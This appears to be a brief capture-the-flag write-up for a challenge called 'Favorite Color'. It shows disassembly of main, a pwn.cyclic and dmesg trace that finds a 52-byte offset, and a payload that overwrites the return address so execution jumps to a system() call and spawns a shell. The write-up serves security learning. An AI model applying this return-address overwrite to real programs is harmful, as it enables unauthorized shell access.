Favorite Color
main
use return value from vuln
to determine the final output. But return from vuln
is not going to be true
due to the logic below.
We need main
to go to the branch that call system
to launch a shell. How about we just jmp to the critical block of code?
080485df <main>:
80485df: 8d 4c 24 04 lea 0x4(%esp),%ecx
80485e3: 83 e4 f0 and $0xfffffff0,%esp
80485e6: ff 71 fc pushl -0x4(%ecx)
80485e9: 55 push %ebp
...
8048674: 83 c4 10 add $0x10,%esp
8048677: 83 ec 0c sub $0xc,%esp
804867a: 68 99 87 04 08 push $0x8048799
804867f: e8 cc fd ff ff call 8048450 <system@plt>
The system
call starts at 0x804867a, we can calculate the distance between main
and the call, so the destination would be main+149
.
The padding can be found by pwn.cyclic
, feed the program with 64 bytes of cyclic string.
Check segfault message in dmesg
, notice the 6161616e
part? The padding is 52
in this case.
segfault at 6161616e ip 000000006161616e sp 00000000ffc07c30 error 14 in libc-2.27.so[f7d69000+1d2000]
So the payload is 52 bytes of garbage + address of system call block
.